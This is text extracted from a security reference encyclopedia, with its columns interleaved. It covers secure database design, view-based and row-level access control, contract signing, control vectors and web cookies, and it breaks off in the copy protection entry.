Most of them focus on adding confidentiality constraints
essential for many database applications, it is important to
to entities, their attributes, or relationships [].
incorporate security requirements early in the design pro-
One should distinguish between secure software
cess of a database. Extensions to established data modeling
design in general and designing a secure database in partic-
techniques have been proposed to add security semantics.
ular []. While secure software design has a broader focus
and concerns several other issues, database security, as it
Applications is discussed here, only addresses security on the database
Conceptual database design is part of the database design level. Figure shows a secure database design process,
process, which consists of the activities requirements gath- which corresponds to the regular database design process
ering and analysis, conceptual modeling, logical database discussed above.
design and database implementation. During database Security aspects should be specified as early as in the
design, it is of major importance to anticipate current and requirements analysis phase, as its output is the basis
future requirements as comprehensively as possible, since for conceptual design. During the conceptual design of
adjustments after implementation are costly and changes secure databases, a formal platform-independent model of
may be incoherent with the original design. the data structure in scope, that also considers security
During the first step, the requirements gathering and requirements and constraints, is developed. Most com-
analysis, database and security requirements are collected monly, the conditions and circumstances under which
from possibly all stakeholders who are expected to use the
database. The aim of the conceptual design phase is to inte-
grate all requirements from different points of view and Requirements from various
Requirements analysis stakeholders
to produce a single conceptual data model. It provides a
Includes security requirements
unified, organization-wide view on the conceptualization Expressed verbally or through
of the future database. Usually the conceptual model is secure use cases
a (semi-)formal model of the universe of discourse and

Secure conceptual model
system-independent, meaning that it does not consider the Conceptual modeling Platform independent
particular data model of the DBMS software that will be Extension to regular conceptual
modeling technique incorporating
used for implementation. security
The Entity Relationship Model (ERM) is most com-
monly used during conceptual design. The resulting Entity
Secure logical model
Relationship Diagrams (ERD) provide a data-centric, Logical design Platform dependent
structural view on the database. The Unified Modeling Model takes existing security
mechanisms into account
Language (UML) contains class diagrams that also incor-
porate structural views of the database content and can
be extended by other diagram types to also cover the
Implementation
functional and dynamic properties of the database applica-
tion. For both modeling techniques extensions have been
proposed, of which some focus on the incorporation of Conceptual Design of Secure Databases. Fig. Secure
security requirements. database design process
Conceptual Design of Secure Databases C
users may access certain contents of the database are subjects from reading objects with higher access levels than
specified. their own clearance, but also prohibits them from writing
In order to express such requirements and constraints, objects whose access levels are lower than their security
extensions to existing data modeling techniques that orig- clearance. This ensures that no data can be written from
inally do not consider security aspects have been intro- objects with a high security class to objects with lower
duced. For instance, an extended version of the ERM security classes [], thus transferring it to subjects with
[] allows the specification of secrecy levels and several lower security clearances.
types of constraints. Similar expressiveness and also the The predefinition of security levels at design time gives
C
incorporation of functional and object-oriented aspects the designer great influence when using MAC. In environ-
are provided by extensions to UML class diagrams []. ments employing discretionary security models, the access
More fine-grained requirements may be specified using to objects is not predefined. Instead, subjects may grant
constraint languages. access to certain data to other subjects. Depending on the
Similar to the regular database design process, the exact policy, only a few administrators or the owner and
security requirements specified in the conceptual model creator of a data item are allowed to grant access. Also
are part of the input to the logical database design, which possible is administration delegation, meaning that not
produces a platform-dependent model. This model is only access to data may be granted, but also the right to
aware of the database model (for example, the relational allow other subjects access and administration for a certain
model of data) and the particular database software that data item. Administration delegation leads to nontrivial
is going to be used. Therefore, it is possible to determine questions such as what should happen to a users access
whether the specified security requirements are supported privilege on a certain object in the case that the privileges
by the chosen database system. If not, additional security of the subject that granted these rights are revoked.
mechanisms have to be designed manually to meet the More fine-grained access control in DAC-
requirements. environments is provided by predefined negative autho-
There are several ways to incorporate security aspects rizations [], which prohibit a user from accessing a certain
into database design. The types of security requirements data object even after having been granted access by some-
or constraints that may be modeled mainly depend on one else. Furthermore, access privileges may be assigned an
the underlying security model. The models rule how expiration date. Compared with MAC, discretionary secu-
user access to the contents of the database is organized. rity models limit the choices during conceptual design. As
Most security models can be categorized as either Manda- access rights are granted and revoked by the data owners,
tory Access Control (MAC) or Discretionary Access Con- no access or secrecy levels need to be defined at this time,
trol (DAC). Another advanced type is Role-Based Access leaving the selection of an appropriate security policy the
Control (RBAC) []. most important task.
Mandatory models regulate access to data based on In both security models, more sophisticated and fine-
predefined classifications of subjects and data objects that grained security requirements and constraints than those
are to be accessed. Focused mainly on confidentiality and mentioned above are possible. Security levels or access
the control of the information flow between subjects, those privileges may be specified depending on contextual infor-
approaches allow assigning secrecy or access levels to data mation [] such as time or the subjects current location.
objects. Users are assigned security clearances that have to Or being more general, specific properties of the subject
match or exceed the secrecy level of a data object in order may be considered for an access decision. Content-based
to be granted access. Access to data may be specified on dif- constraints base access decisions on the value of the infor-
ferent levels of granularity, such as entire relations, tuples, mation object that is to be accessed. An access decision can
or single attributes of a tuple. The assignment of different also be based on a combination of the subjects properties
levels of security to the tuples of one relation is called mul- and the objects attribute values.
tilevel security []. Attributes with different security levels Moreover, not only data objects, but also retrieval
in the same tuple result in polyinstantiation [], which leads results can be classified. Association-based Constraints
to the anomaly that users with different security levels may allow access to a certain security objects attribute while
get different results for the same query. access to its identifying attribute is restricted. This allows
Most mandatory access models aim to control the retrieving statistical data over a group of entries without
information flow in order to protect integrity and to avoid revealing the attribute value for a single entry. On the
data leakage. A popular notion in this context is the other hand, aggregation constraints prohibit the execu-
model of Bell and LaPadula, which not only prohibits tion of queries which would result in more than a certain
C Conceptual Modeling
number of retrieval results to prevent conclusions about database design process are seldom found. Also, the evolv-
the whole group. ing data security concerns [] due to the increased value
A first conceptual semantic database model for secu- of data bring about new requirements such as data quality,
rity was developed by Smith []. Pernul, Tjoa, and Wini- completeness, and provenance assurance. The incorpora-
warter [] published a MAC-based model for multilevel tion of those and other new requirements into the secure
secure databases that employs secrecy levels, content- database design process has yet to be achieved.
based constraints, and constraints for retrieval results.
Both approaches extend the ERM and are therefore appli-
cable for the design of relational databases. Recommended Reading
Fernndez-Medina and Piattini [] have proposed a . Bertino E, Sandhu R () Database security concepts,
methodology for designing secure databases that is based approaches, and challenges. IEEE Trans Dependable Secur
on the Unified Process and an extension to UML. In the Comput ():
. Castano S, Fugini M, Martella G, Samarati P () Database
requirements analysis phase, they suggest modeling secure
security. ACM Press/Addison-Wesley, New York
use cases that contain confidentiality requirements and rel- . Fernandez EB () A model for evaluation and administration
evant actors. Also employing MAC, a secure class diagram of security in object-oriented databases. IEEE Trans Knowl Data
allows specifying security levels for classes, attributes, and Eng ():
associations. Further constraints may be specified using . Fernndez-Medina E, Piattini M () Designing secure
databases. Inf Softw Technol :
the Object Security Constraint Language (OSCL). This
. Jurjens J, Fernandez EB () Secure database development. In:
methodology produces a relational database scheme dur- Liu L, Oszu T (eds) Encyclopedia of database systems. Springer,
ing logical design as well. Berlin
Security methodologies for other database types have . Pernul G () Database security. In: Yovits MC (ed) Advances
also been described. Fernndez-Medina, Marcos, and Piat- in computers, vol . Academic, San Diego
. Pernul G, Tjoa AM, Winiwarter W () Modelling data secrecy
tini [] have proposed a methodology that also incorpo-
and integrity. Data Knowl Eng :
rates a UML extension to produce a secure conceptual data . Smith GW () Modeling security-relevant data security
model. This model is then transformed into a logical XML- semantics. IEEE Trans Softw Eng ():
Schema in order to build an XML database. A model for . Vela B, Fernndez-Medina E, Marcos E, Piattini M () Model
access rules and security administration in object-oriented driven development of secure XML databases. ACM SIGMOD
Rec ():
databases under the discretionary access model has been
published by Fernandez []. One question that object-
oriented databases raise is whether access rights to objects
should be inherited to objects of subclasses.
When comparing the relevance of the three main secu- Conceptual Modeling
rity goals confidentiality, integrity, and availability during
conceptual database design, it becomes obvious that most Conceptual Design of Secure Databases
design decisions concern confidentiality of the data. Even
though the relevance of integrity is often stated in liter-
ature, it is seldom explicitly addressed in actual secure
design methodologies. Yet, some of the classifications and Conference Key Agreement
constraints regarding read access may also be applied to the
modification of data. Also, Integrity is partly realized by the Group Key Agreement
data model of the Database Management System (DBMS)
in use through cardinality and consistency constraints and
also concurrency control mechanisms. Similarly, availabil-
ity should be ensured by the DBMS for the whole database, Conference Keying
leaving few choices at conceptual design time.
Group Key Agreement
Open Problems
An open challenge is the market adoption and implemen-
tation of the more recent design approaches. While pro- Condentiality Model
totypes demonstrating the basic functionality have been
introduced, productive implementations of the full secure Bell-LaPadula Confidentiality Model
Content-Based and View-Based Access Control C
Conrmer Signatures Content-Based and View-Based

Access Control
Designated Confirmer Signature
Arnon Rosenthal , Edward Sciore

The MITRE Corporation, Bedford, MA, USA

Computer Science Department, Boston College,
Consistency Verication of Chestnut Hill, MA, USA C
Security Policy
Firewalls Related Concepts
Discretionary Access Control
Denition
Contactless Cards View-based access control is a mechanism for implement-
ing database security policies. To implement a desired
Marc Vauclair security policy, a database administrator first defines a
BU Identification, Center of Competence Systems view for each relevant subset of the data, and then grants
Security, NXP Semiconductors, Leuven, Belgium privileges on those views to the appropriate users.
Related Concepts Background

NFC; Proximity Card; RFID; Vicinity Card When relational database systems were first implemented,
two competing authorization frameworks were proposed:
Denition table privileges and content filtering.
Contactless cards are cards that communicate with the The table privileges framework was introduced in
reader through radio waves (i.e., using a RF field). The con- System R []. Authorization is accomplished by granting
tactless card is either powered by the RF field or its own privileges to users, where each privilege corresponds to
power supply if any. an operation on a table. Table privileges include SELECT
(for reading), INSERT, DELETE, and UPDATE, as well as
Background grant option (which lets you delegate to others the priv-
Historically, smart cards were connected to a reader ileges you possess). The creator of the table is given all
through electrical contacts. At the end of the s, the first privileges on it, and is free to grant any of those privileges
contactless smart cards got introduced: the communica- to other users.
tion between the smart card and the reader is performed When a user submits a command for execution, the
using radio waves. database system allows the request only if the user has
Today there exist dual-interface smart cards. These suitable privileges on every table mentioned in the com-
cards have both a contact interface (e.g., ISO ) and a mand. For example, a user cannot execute a query that
contactless interface (e.g., ISO/IEC ). involves table T without having SELECT privilege on T,
cannot insert a record into T without INSERT privilege on
Theory it (in addition to SELECT privileges on tables mentioned
For the theory, please refer to the theory of the [NFC] in the WHERE clause), and so on. If the user lacks the nec-
article. essary privileges, the entire request is rejected; this is called
all-or-none semantics.
Applications The content filtering framework was introduced in the
Typical applications of contactless cards are data exchange, INGRES database system []. Here, a table owner grants
configuration, payment, ticketing, identification, authenti- access to others on arbitrary, predicate-defined subsets of
cation, and access control. his tables. When a user submits a query, the system rewrites
the query to include the access predicate granted to the
Recommended Reading user. The resulting query returns only the requested data
. Finkenzeller K () RFID handbook: fundamentals and appli- that the user is authorized to see.
cations in contactless smart cards, radio frequency identification For example, consider an Employee table containing
and near-field communication, rd edn. Wiley, Chichester fields such as Name, Dept, and Salary. Suppose that a
C Content-Based and View-Based Access Control
user has been granted access to all records from the toy Views are also an elegant means for controlling the
department. Then a query such as sharing of data. If a user wishes to share some of the
select * from Employee data in his tables, he can simply create a view that con-
where Salary > 100 tains precisely that data. For example, the view might omit
sensitive columns (such as salary), or it might compute
will be rewritten to restrict the scope to employees in the aggregate values (such as average salary per department).
toy department, obtaining View contents are computed on demand, and will thus
select * from Employee change automatically as the underlying tables change.
where Salary > 100 and Dept = toy The table privilege framework enables authorization on
The filtering predicate ensures that the user sees only the these views by allowing privileges to be granted on them,
records for which he is authorized. just as for tables. When views are used to implement logi-
The main problem with content filtering is that it exe- cal data independence, the database administrator grants
cutes a different query from what the user submitted, and privileges on the views defining each users customized
therefore may give unexpected answers. For some appli- interface, rather than on the underlying tables. When views
cations, a filtered result can be disastrously wrong: e.g., are used to support data sharing, the data owner grants
omitting some drugs a patient takes when a physician is privileges directly on his shared views, instead of on the
checking for dangerous interactions, or omitting secret underlying base tables. In each case, users are authorized
cargo when computing an airplanes takeoff weight. Often, to see the data intended for them, and are restricted from
one cannot say whether filtering has occurred, without seeing data that they ought not to see.
revealing information one is trying to protect (e.g., that Recall that the creator of a base table receives all priv-
the patient is taking an AIDS-specific drug, or that there is ileges on it; in contrast, the creator of a view will not.
secret cargo on the airplane). The client thus needs the abil- Instead, a view creator will receive only those privileges
ity to indicate that filtering is unacceptable and all-or-none that are consistent with his privileges on the underlying
enforcement should be used instead. tables. The rationale is that creating a view should not allow
The table privilege framework (extended to column a user to do something that he could not otherwise do.
privileges) has long been part of standard SQL. More The creator of a view receives SELECT privilege on it if he
recently, the major mainstream DBMSs have also imple- has sufficient privileges to execute the query defining that
mented a filtering capability. This article examines the view view. Similarly, the creator receives INSERT (or DELETE
authorization framework in more detail, and considers or UPDATE) privilege on the view if the view is updatable
how systems have exploited it to obtain the benefits of and the user is authorized to execute the corresponding
content filtering. insert (or delete or update) command. A user obtains a
grant-option privilege on the view if the corresponding
privileges on all the underlying tables include grant option.
Theory
View Authorization Content-Based Authorization
A view is a database object whose contents are derived from View-based authorization allows users to provide the
the existing data (i.e., base tables or previously defined same selected access to their tables as in content filter-
views). In a relational database system, a view is defined by ing. Whereas in content filtering a user would grant access
a query, and to other queries, it looks and acts like a base to a selected subset of a table, in view-based authoriza-
table. In fact, relational views are sometimes called virtual tion a user can instead create a view containing that subset
tables. and grant a privilege on it. This technique is straightfor-
Views are predominantly an abstraction mechanism. ward, and is commonly used. However, it has severe draw-
A database administrator can design the database so that backs under the current SQL specification. In fact, these
users never need to look at the base tables. Instead, each drawbacks are partly responsible for the common practice
user sees a customized interface to the database, contain- of having applications enforce data security. When such
ing view tables specifically tailored to that users needs. applications are given full rights to the tables they access,
These views also insulate users from structural changes to security enforcement depends on application code, whose
the underlying database. When such changes occur, the completeness and semantics are hard to validate. Where
database administrator simply alters the view definitions feasible, it is better to do the enforcement at the database,
appropriately, transparent to the users. This property of based on conditions in a high level language, and where all
views is known as logical data independence. accesses get intercepted.
Content-Based and View-Based Access Control C
The biggest drawback stems from the fact that the a user has rights to the data involved in their command. If
access control system considers base tables and their views the query processor is able to find a query equivalent to the
to be distinct and unrelated. Yet for queries whose data users for which the user has the necessary rights, then no
fall within the scope of both, this relationship is impor- data need be filtered and the user query can reasonably be
tant. One needs, but do not have, an easy way for an authorized.
application to use the privileges the invoker has, from There are three levels of equivalence. The simplest is
whatever view. For example, suppose that three users each easily implemented: a user who has access to the tables
have different rights on data in the Employee table: all of underlying the view can always access the view. This rule
C
Employee, the view Underpaid_Employee: Employee where is easily applied in advance, to create derived privileges on
Salary < , , and the view Toy_Employee: Employee views prior to runtime. The second level is to try to rewrite
where Dept = toy. Consider an application needing toy- the query at compile time to an equivalent one that refer-
department employees earning below ,. Since any ences views for which the user has privileges. Constraints
of the three views includes all the needed data, consider in the schema may be exploited [, ]. Query processors
the plight of an application that can be invoked by any already include similar rewrite technology, for query eval-
of the three users: Which view should it reference? Since uations using materialized views. Finally, there are cases
there is no single view for which all three users are autho- where, by inspecting data visible to the user (i.e., by looking
rized, the application has to test the invokers privileges at the results of a different, rather simple query), one can
and issue a query to the view on which the invoker pos- determine that two queries are equivalent on the current
sesses privileges (a different query for each view). Such database instance [].
complexity places a significant burden on the application
developer, which quickly becomes unmanageable as the Row-Level Security
users privileges change. Row-level security provides an effective means of provid-
Another drawback is that a view must always have ing simple content-based security, and the products have
explicitly administered privileges, even if there are no secu- become quite popular. In effect, for each policy-controlled
rity implications. For example, suppose the owner of the table, it helps administrators define a simple view that fil-
Employee table invites staff members to create convenience ters the row set, and then automatically transforms user
views on it (e.g., the view RecentHires). Since in this case queries; in place of each reference to the table, it substitutes
the sensitive information is the data, not the view defi- a reference to the view. Simplicity is one key to success:
nition, the view creator would expect that everyone with each view is a selection from one table, conjoining one
privileges on the Employee table will have privileges on the or more simple single-column predicates. The limitations
view. Instead, only the creator of RecentHires has privileges enable fast execution and simple administration. The orig-
on it even the owner of Employee has none. inal Oracle implementation was derived from multilevel
A final drawback is that the mechanism for initializing secure databases []. In the interest of brevity, the discus-
privileges lacks flexibility. Suppose that multiple compet- sion below omits some capabilities; see [, ] for further
ing hospitals participate in a federated database, and that details.
these hospitals agree to allow fraud analysts or health- The idea is that an administrator specifies one or more
outcome researchers analyze their data. However, these label columns that the system appends to each table
users should not be allowed to see the raw data, but only (optionally visible to user queries). The system then cre-
sanitized views over it. The issue is who will create these ates a view that filters the rows of the table by matching the
views. According to SQL semantics, such a user would value of each label column with a corresponding label in
need the SELECT privilege with grant option on every par- the user session. For example, a user session might have
ticipants contributed information. It may be impossible to a label indicating the extent to which it is approved for
find a person trusted by all participants, and if one is found, sensitive data, to be compared with a DataSensitivity label
the concentration of authority risks a complete security column. Or a label might designate a stakeholder (e.g., a
failure. hospital patient); the patient sees a view that compares his
Several researchers have proposed ameliorating these label with a PatientID label column. One might even inde-
problems by reinterpreting view privileges. The idea is that pendently define labels to deal with customer privacy, with
instead of giving rights to invoke access operations on the business secrets, and with third-party proprietary data.
view, a privilege is taken as giving rights on the data within The software handles most of the details, managing
it (as with content filtering). With this data-oriented inter- several label columns simultaneously, and testing domi-
pretation, the task of authorization is to determine whether nance. Dominance can be in a totally ordered set (e.g.,
C Content-Based and View-Based Access Control
Public, Sensitive, Very Sensitive), or a partially ordered databases. Worse proposed approaches do not demon-
set. Partially ordered sets are useful for implementing role- strate compatibility with SQL, so there are likely to be many
based access control [], or where there are multiple labels. differences. Research is needed to make security as bilin-
Filtering is far better than total refusal in applications gual as storage and query processing, e.g., by building a
where the application simply wants records satisfying the security model from primitives underlying SQL and XML.
query condition and can deal with partial results. It The difficulties seem to fall into two broad categories:
is quite dangerous for applications that need the entire Are the security semantics different, for equivalent queries
result, such as Not Exists queries or statistical sum- in the two data models i.e., is it possible that informa-
maries. Another disadvantage is that content-based secu- tion that is protected in the relational model might not be
rity depends on a large, complex query processor, and protected if viewed in XML (or vice versa)? And, is it pos-
is therefore difficult to verify or harden against hackers. sible to build one DBMS security capability to serve both
A feature (often beneficial, but posing security risks) is that data models. To add to the challenge, additional models
administrators have great flexibility in where and how to such as RDF/OWL may someday need to be accommo-
apply the filtering policy, and in what value to generate in dated.
label columns of the query output.
Acknowledgment
Open Problems This work was partially supported by the MITRE Innova-
In current practice, policies can restrict which users can tion Program. Ian Davis of the SQL standards committee
access each table and view. This blocks obvious access made the authors aware of the paradoxical behavior of
paths to that data, but does not directly state, nor achieve, convenience views.
the business intent: namely to prevent attackers from
obtaining such and such information. Such negative priv-
Recommended Reading
ileges are known as partial disclosure views or privacy
. Denning D, Akl S, Heckman M, Lunt T, Morgenstern M,
views. However, the semantics and implementation of Neumann P, Schell R () Views for multilevel database secu-
such guarantees are open problems [, , ], and unlikely rity. IEEE Trans Softw Eng SE-():
to be solved. The fundamental difficulties are to deter- . Dwork C () Differential privacy: a survey of results. In: Pro-
mine all possible ways the protected information might ceedings of the conference on theory and applications of models
of computation, Springer, Heidelberg, Germany
be inferred, and all possible knowledge that an attacker
. Ferraiolo D, Kuhn R, Chandramouli R () Role based access
might have available to use in such inference. A further control. Artech House, Boston
practical difficulty arises when one tries to block complex . Fung B, Wang K, Chen R, Yu P () Privacy-preserving data
inferences. For example, to protect (A + B), should one publishing: a survey on recent developments. ACM Comput
hide A or B which choice will do less harm to other Surv ()
. Griffiths P, Wade B () An authorization mechanism for
applications?
a relational database system. ACM Trans Database Syst ():
Next, there needs to be a powerful but understand-
able melding of the all-or-nothing versus filtering seman- . Miklau G, Suciu D () A formal analysis of information
tics (especially label-based filtering). It should be suitably disclosure in data exchange. In: Proceedings of the SIGMOD
controllable by developers, and work at different granular- conference, Paris, France. ACM, pp
. Motro A () An access authorization model for relational
ity. Also, efficient implementation still poses a variety of
databases based on algebraic manipulation of view definitions.
indexing and query optimization challenges. In: Proceedings of the conference on data engineering. IEEE,
For delegation to a view owner, models are needed Washington, DC, pp
for managing computed resources in federated systems. . Oracle Corporation, Oracle Label Security. January ,
For example, researchers might devise better constructs to . http://www.oracle.com/technetwork/database/options/
index-.html
let input owners collaborate in managing a view, without
. Rizvi S, Mendelzon A, Sudarshan S, Roy P () Extending
appointing someone with full rights over all inputs []. query rewriting techniques for fine-grained access control. In:
The degree of trust in the view computation also needs to Proceedings of the SIGMOD conference, Paris, France. ACM,
be expressed and managed. pp
Finally, filtering is often proposed for XML security, . Rosenthal A, Sciore E () View security as a basis for
data warehouse security. In: Proceedings of the international
with a variety of languages and semantics, e.g., [, ].
workshop on design and management of data warehouses,
On the other hand, static security also makes sense, in an Sweden,
analog of table and column privileges. There currently is . Shaul J, Ingram A () Practical Oracle security. Syngress
no widely supported standard for access control in XML Publishers, Rockland
Contract Signing C
. Stonebraker M, Rubenstein P () The INGRES protection .................................Optimistic Phase w/o TTP: ...............................
Signatory A Signatory B
system. In: Proceedings of the ACM annual conference. ACM,
New York, NY, pp
. Zhang H, Zhang N, Salem K, Zhao D () Compact access m1 := signA (m1, tstart, TTP, A, B, CA)
control labeling for efficient secure XML query evaluation. Data ?
CA = CB?
Knowl Eng ():
m2 := signB (m2, m1)
. Zhu H, Lu K, Lin R () A practical mandatory access control
model for XML databases. Inform Sci (): if m2: output m2
elseif no m5: abort
m3 := signA (m3, m2) C
if m3: output m3
else: continue
.................................... Error Recovery w/TTP: .................................
Contract Signing Signatory A TTPT Signatory B
Matthias Schunter m4 := signB (m4, m2)
IBM Research-Zurich, Rschlikon, Switzerland check

m5 := signT (m5, m4)m5 := signT (m5, m4)
output m5 output m5
Synonyms
Nonrepudiable agreement Contract Signing. Fig. Sketch of an optimistic synchronous
contract signing protocol []
Related Concepts
Certified Mail; Fair Exchange; Nonrepudiation optimize by involving this third party only in case of excep-
tions. The first optimistic contract signing scheme has been
Denition described in []. An optimistic contract signing scheme
A contract is a nonrepudiable agreement on a given con- for asynchronous networks has been described in []. An
tract text, can be used to prove agreement between the example for a multiparty abuse-free optimistic contract
signatories to any verifier. signing protocol has been published in []. A simple opti-
mistic contract signing protocol for synchronous networks
Background is sketched in Fig. : party A sends a proposal, party B
Early contract signing protocols were either based on an agrees, and party A confirms. If party A does not con-
in-line Trusted Third Party [], gradual exchange of firm, B obtains its contract from the TTP. (Note that the
secrets [], or gradual increase of privilege []. generic fair exchange protocol (fair exchange) can be
adapted for contract signing, too, by using a signature
Theory under C as itemX , using (C, X) as description descX , and
A contract signing scheme [] is used to fairly com- using the signature verification function as the verification
pute a contract such that, even if one of the signa- function.)
tories misbehaves, either both or none of the signato-
ries obtain a contract. Contract signing generalizes fair
Recommended Reading
exchange of signatures: a contract signing protocol does
. Asokan N, Shoup V, Waidner M () Optimistic fair exchange
not need to output signatures but can define its own for- of digital signatures. In: Nyberg K (ed) Advances in cryptology
mat instead. Contract signing can be categorized by the EUROCRYPT. Lecture notes in computer science, vol .
properties of fair exchange (like abuse freeness) as well Springer, Berlin, pp
as the properties of the nonrepudiation tokens it pro- . Baum-Waidner B, Waidner M () Round-optimal and abuse-
free optimistic multi-party contract signing. In: Montanari U,
duces (like third-party time stamping of the contract).
Rolim JDP, Welzl E (eds) th international colloquium on
Unlike agreement protocols, contract signing needs to pro- automata, languages and programming (ICALP). Lecture notes
vide a nonrepudiable proof that an agreement has been in computer science, vol . Springer, Berlin, pp ff
reached. . Ben-Or M, Goldreich O, Micali S, Rivest RL () A fair protocol
Like fair exchange protocols, two-party contract sign- for signing contracts. IEEE Trans Inform Theory ():
. Blum M () Three applications of the oblivious transfer, Ver-
ing protocols either do not guarantee termination or else
sion . Department of Electrical Engineering and Computer
may produce a partially signed contract. As a conse- Sciences, University of California at Berkeley, Berkley
quence, a trusted third party is needed for most practi- . Blum M () Coin flipping by telephone, a protocol for solving
cal applications. Optimistic contract signing [] protocols impossible problems. ACM SIGACT News ():
C Control Vector
. Even S () A protocol for signing contracts. ACM SIGACT Open Problems

News (): A paper describing an attack on control vectors was pub-
. Pfitzmann B, Schunter M, Waidner M () Optimal efficiency
lished by M. Bond []. The paper describes a method of
of optimistic contract signing. In: th symposium on princi-
ples of distributed computing (PODC). ACM Press, New York,
changing the control vector (CV) of a specific key in a cryp-
pp tographic co-processor by modifying the value of the key
. Rabin MO () Transaction protection by beacons. J Comput encrypting key that is used to encipher or decipher that key.
Syst Sci : IBM provided comments to this paper in [].
Recommended Reading
Control Vector . Bond M () A chosen key difference attack on con-
trol vectors. http://www.cl.cam.ac.uk/~mkb/research/CVDif.
pdf. Accessed Nov
Marijke De Soete . Matyas SM () Key handling with control vectors. IBM Syst J
SecurityBiz, Oostkamp, Belgium ():
. Menezes AJ, van Oorschot PC, Vanstone SA () Handbook of
applied cryptography. CRC Press, Boca Raton
. Stallings W () Cryptography and network security princi-
Denition
ples and practice, rd edn. Prentice Hall, Upper saddle River
A method for controlling the usage of cryptographic keys. . http://www.cl.cam.ac.uk/ mkb/research/CVDif-Response.pdf
Background
A method introduced and patented in a number of
application scenarios by IBM in the s. Conventional Cryptosystem
Theory Symmetric Cryptosystem

The basic idea is that each cryptographic key has an asso-
ciated control vector, which defines the permitted uses of
the key within the system, and this is enforced by the use of Cookie
tamper-resistant hardware. At key generation, the control
vector is cryptographically coupled to the key via a special Michael T. Hunter
encryption process, for example, by XOR-ring the key with School of Computer Science, Georgia Institute of
the control vector before encryption and distribution. Each Technology, Atlanta, GA, USA
encrypted key and control vector is stored and distributed
within the cryptographic system as a single token. As part
of the decryption process, the cryptographic hardware also
Synonyms
verifies that the requested use of the key is authorized by
Browser cookie; HTTP cookie; Tracking cookie
the control vector.
Related Concepts
Applications Token
As an example, non-repudiation may be achieved between
two communicating hardware boxes by the use of a con-
ventional MAC algorithm using symmetric methods. The Denition
communicating boxes would share the same key, but A cookie is an object stored by a web browser on behalf of
whereas one box would only be allowed to generate a MAC a Web site.
with that key, the other box would only be able to verify a
MAC with the same key. The transform of the same key Background
from, for example, MAC-generation to MAC-verification As the World Wide Web came into existence in the early
is known as key translation and needs to be carried out and mid s, increasing complexity of browserserver
in tamper-resistant hardware as well. Similarly, the same interaction created a demand for persistent data to be kept
symmetric key may be used for encryption only enforced at the browser. Cookies were implemented in response to
by one control vector in one device and for decryption these demands and became a ubiquitous feature. By the
only enforced by a different control vector in a different late s, privacy advocates were raising concerns about
device. potential cookie abuses.
Cookie C
Theory session information on behalf of users. One controversial

As originally conceived, the World Wide Web allowed application of cookies is to track the browsing behavior
for documents to be accessed from other documents via of web users. Once common example that raises privacy
hypertext using a web browser. In such a model, visited concerns involves a desired site that hosts a banner add
documents content always remain unchanged and it was through a third-party advertising network. In processing
therefore unnecessary to be able to identify any residual the desired site, the browser will request content from the
characteristics about a particular browser. As Web sites third party and may accept a cookie from them. When the
became more complex, content publishers sought the abil- user visits another site that uses the same third party for
C
ity to provide customized content based on previous inter- advertising, the third party can look for the presence of its
actions with the browser in question. One of the most com- previously-set cookie and infer what previous site the user
monly cited examples of such a system is the virtual shop- visited. Such inferences are highly sought-after by advertis-
ping cart, in which a user can add desired items to a list ers, as they allow for detailed profiling of a users interests
that is persistent between visits to the Web site in question. and thus for highly targeted advertisements.
During web transactions, a web server may offer a In addition to cookies stored directly by the browser,
cookie to a browser, which the browser may choose to an emerging trend exists in which browser plugins store
accept. The web server may subsequently request data cookies independent of the browsers cookie management
contained in the cookie, although valid requesters are scheme. One well-known example is that of flash cookies,
restricted by domain as specified in the cookie itself, which can be created by the popular Adobe Flash plugin.
and the cookies content therefore cannot be read by an They are subject to many of the same privacy concerns
arbitrary requester. This restriction is an important secu- as HTTP cookies, but since they are managed separately
rity feature, but there remain scenarios in which cookies from HTTP cookies and also are generally much less well
present security concerns. known by users, there is an enhanced potential for privacy
A cookie contains a main name-value pair with addi- concerns arising.
tional optional attributes. Listed below are two sam- Because the content of a cookie is completely up to the
ple cookies: Cookie is named zipcode and has a discretion of the remote web server, it may contain infor-
value of 30301|AAA|14. Additional attributes are listed mation that a user would consider sensitive, and the user
that qualify the applicability and expiry of the cookie. may be unaware that such information is stored within
The mechanics of setting and requesting cookie data are the browser. While most browsers make it possible for a
described in the relevant protocol documents []. user to review and discard cookies, users are not neces-
sarily aware of cookies or the relevant privacy concerns.
Name: zipcode
In some cases (such as the second cookie above), even if a
Content: 30301|AAA|14
user reviews a given cookie, it may be impossible for the
Domain: .aaa.com
user to determine the privacy implications of the cookie,
Path: /
since the content could be obfuscated or even encrypted by
Send For: Any type of connection
the remote web server. Cookies are often used as authenti-
Expires: September 15, 2010 11:03:13 PM
cation tokens for web services, which opens the possibility
that if an attacker were able to acquire a copy of the cookie
Cookie below is similar to cookie above, although (either through network interception, host intrusion or
meanings of data and the hexadecimal value are not injecting malicious content into the original webpage), the
immediately clear. attacker could impersonate the user [].
Privacy advocates argue that users rights are being
Name: data
violated by collecting such information without their
Content: E15FBEDB0764BA5B06C035EC1CC7546
informed consent. In response to privacy concerns,
9E15FBEDB0764BA5B06C035EC1CC75469
the US federal government issued an advisory in
Domain: .aaa.com
that directed government Web sites not to use cook-
Path: /
ies. As of mid-, this policy was being reconsidered
Send For: Any type of connection
because it is seen as limiting the functionality of gov-
Expires: September 15, 2010 11:03:13 PM
ernment Web sites. The federal communications com-
mission and state governments have forced privacy con-
Applications cessions from companies such as DoubleClick, requiring
Cookies are used by web service providers for a wide vari- them to disclose more information about how cookies are
ety of purposes, including storing preferences and other used [].
C Coprime
Open Problems and Future Directions itself. Examples of copy protection include encrypted digi-
The security and privacy concerns posed by cookies rep- tal TV broadcast, access controls to copyrighted software
resent a formidable challenge. The ubiquity of web brows- through the use of license servers or through the use of
ing ensures that almost every Internet user interacts with special hardware add-ons (dongles), and technical copy
cookies, and increasingly-rich web services will continue protection mechanisms on the media.
to rely on cookies. Currently a significant amount of tech-
nical knowledge is required to understand and manage
the privacy implications of cookies, forcing unsavvy users
Copy protection mechanisms can work proactively by aim-
to invest significant effort in managing their privacy, to
ing to prevent users from accessing copy protected content
endure reduced functionality from web services (if cook-
or they can deter users from playing illegitimate copy-
ies are disabled), or to ignore certain privacy concerns. In
righted content by monitoring which users play which
order to realize the goal of a privacy-preserving web envi-
content or a combination of both.
ronment, users must understand clearly what information
The schematic chain of action to copy content played
is being gathered about them and have the ability to eas-
on one player A in order to become available on another
ily specify universally applicable privacy policies. Realizing
player B is shown in Fig. . An original piece of content
this goal would require significant advances in both tech-
available on player A needs to be recorded, distributed,
nical standards governing cookies and humancomputer
and played back on a player B in order to be valuable to
interaction.
someone else or in a different location. Proactive copy pro-
tection mechanisms are about breaking this chain of action
Recommended Reading in one or more stages: at the recording, distribution, or
